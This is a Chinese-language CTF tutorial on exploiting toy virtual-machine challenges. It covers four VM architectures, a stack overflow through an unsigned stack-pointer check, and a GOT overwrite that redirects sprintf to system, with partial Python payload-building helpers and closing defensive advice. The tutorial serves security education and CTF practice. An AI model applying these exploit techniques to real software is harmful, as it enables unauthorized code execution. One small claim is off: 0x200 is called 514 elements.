vm的stack和got表溢出(附四种vm常见架构)
字数 1443 2025-12-24 12:13:35
虚拟机漏洞利用技术详解:栈与GOT表溢出
一、虚拟机基础架构分析
1.1 四种常见虚拟机架构
架构一:逐步写入指令执行的简单虚拟机
特点:每次读取8字节指令并立即执行
核心数据结构:
typedef struct vm_mould1 {
char op; // 操作码
char reg1; // 寄存器1
char reg2; // 寄存器2
char reg3; // 寄存器3
int32_t num; // 立即数
} Vm_mould1;
指令解析逻辑:
Vm_mould1* ret_vm(long t) {
char *p = &t;
Vm_mould1 *vm = malloc(sizeof(Vm_mould1));
vm->op = p[0];
vm->reg1 = p[1];
vm->reg2 = p[2];
vm->reg3 = p[3];
vm->num = *(int32_t*)(p+4);
return vm;
}
指令集:
- 0: reg[reg1] = num (立即数赋值)
- 1: reg[reg1] = reg[reg2] + reg[reg3] (加法)
- 2: reg[reg1] = reg[reg2] - reg[reg3] (减法)
- 3: stack[++sp] = reg[reg1] (压栈)
- 4: reg[reg1] = stack[sp--] (弹栈)
- 5: 打印寄存器值
- 6/7: 移位操作
- 8: stack[sp] = reg[reg1] (栈赋值)
架构二:一次性写入指令执行的虚拟机
改进点:预先读取所有指令到缓冲区,顺序执行
内存管理:
char code[0x1000]; // 指令缓冲区
char *p = code; // 指令指针
架构三:封装性虚拟机
特点:使用函数指针表实现指令分发
核心结构:
typedef struct vm_opcode {
char opcode;
void (*handle)(void*);
} vm_opcode;
typedef struct vm_cpu {
unsigned char *rip; // 指令指针
vm_opcode op_list[OPCODE_N]; // 操作码表
} vm_cpu;
指令分发机制:
void vm_dispatcher(vm_cpu *cpu) {
for (int i = 0; i < OPCODE_N; i++) {
if (*cpu->rip == cpu->op_list[i].opcode) {
cpu->op_list[i].handle(cpu);
break;
}
}
}
架构四:双层封装虚拟机
逆向难度:极高,采用两级指令解析
- 第一级:选择处理函数
- 第二级:实际虚拟机操作
- 可扩展为多级嵌套增加逆向复杂度
二、栈溢出漏洞利用技术
2.1 栈布局分析
int main() {
long stack[0x200]; // 栈数组,514个元素
unsigned int rsp = 0; // 栈指针
// ... 其他变量
}
关键漏洞点:
case 7: // 压栈指令
stack[rsp++] = reg[c->reg1];
break;
case 8: // 弹栈指令
if(rsp <= 0) exit(0);
reg[c->reg1] = stack[rsp--];
break;
2.2 溢出利用原理
- 栈帧结构:stack数组位于main函数栈帧内
- 溢出方向:向上溢出可覆盖返回地址
- 绕过检查:rsp为无符号整数,负数检查失效
2.3 利用步骤
- 泄露信息:通过溢出读取栈上敏感数据(canary、libc地址)
- 构造ROP链:计算gadget地址
- 获取shell:执行system("/bin/sh")
2.4 关键指令构造
def push(idx):
return str(7 | (idx << 8))
def pop(idx):
return str(8 | (idx << 8))
def add(rdi, rsi, rdx):
return str(0 | (rdi << 8) | (rsi << 16) | (rdx << 24))
三、GOT表溢出漏洞利用
3.1 漏洞环境分析
指令格式:
def code(opcode, rgs1, rgs2, imm):
instruction = 0
instruction |= (opcode & 0xFFFF) << 48
instruction |= (rgs1 & 0xFF) << 32
instruction |= (rgs2 & 0xFF) << 16
instruction |= imm & 0xFFFF
return instruction
安全检查绕过:
if (BYTE4(realcode) > 0xAu || rgs1 < 0 ||
(unsigned int)rgs2 > 0xA || index > 256) {
puts("Invade ptr!");
exit(0);
}
3.2 GOT表修改技术
- 计算偏移:stack数组到GOT表的距离(0x90字节)
- 构造指令:通过弹栈操作修改GOT表项
- 函数劫持:将sprintf的GOT表项改为system地址
3.3 利用链构造
# 修改GOT表为system地址
payload = flat(
code(0,0,0,6), # 压栈立即数
code(1,0,0,0), # 多次弹栈调整位置
# ... 重复弹栈指令
code(8,2,0,0) # 最终修改GOT表
)
四、高级利用技巧
4.1 寄存器数值构造
分段构造法:
def set_number_off_five(target, mid_reg, wide=5):
pd = ""
# 分段提取目标数值的各个字节
one = target & 0xf
two = (target >> 4) & 0xf
# ... 其他分段
# 通过移位和加法组合目标值
if wide >= 1:
pd += add(mid_reg, mid_reg, one) + '\n'
if wide >= 2:
pd += add(mid_reg+1, mid_reg+1, two) + '\n'
pd += shl(mid_reg+1, mid_reg+1, 4) + '\n'
pd += add(mid_reg+1, mid_reg, mid_reg+1) + '\n'
return pd
4.2 内存布局操控
- BSS段利用:通过全局变量reg[]进行数据传递
- 栈指针操控:利用无符号整数溢出实现越界访问
- 指令流控制:精心构造的指令序列实现任意地址读写
4.3 防御绕过技术
- 类型转换绕过:利用有符号/无符号整数差异
- 边界检查绕过:通过算术运算产生意外结果
- 代码流劫持:修改GOT表或返回地址控制执行流程
五、实战案例详解
5.1 栈溢出实战
漏洞位置:rsp无符号整数导致的向下溢出
case 8: // 弹栈指令
if (rsp <= 0) exit(0); // 错误检查:rsp为无符号,永远>=0
reg[c->reg1] = stack[rsp--]; // 实际可访问stack[-1]
利用过程:
- 通过负索引泄露栈上数据
- 计算libc基地址和gadget地址
- 构造ROP链获取shell
5.2 GOT表修改实战
关键指令:
case 1: // 弹栈到寄存器
v1 = index--;
rgs[rgs1] = stack[v1];
利用链:
- 计算stack到GOT表的偏移
- 通过多次弹栈移动"指针"
- 将目标地址写入GOT表项
- 触发修改后的函数调用
六、防护与检测建议
6.1 漏洞防护
- 完善边界检查:使用有符号整数进行索引检查
- 内存隔离:将敏感数据与用户可控数据分离
- 地址随机化:充分使用ASLR保护
6.2 检测方法
- 静态分析:检查所有数组访问的边界条件
- 动态测试:构造极端输入测试边界情况
- 模糊测试:自动化生成测试用例
本教学文档详细分析了虚拟机环境中栈和GOT表溢出的原理、利用技术和防护措施,为二进制安全研究和CTF竞赛提供了完整的技术参考。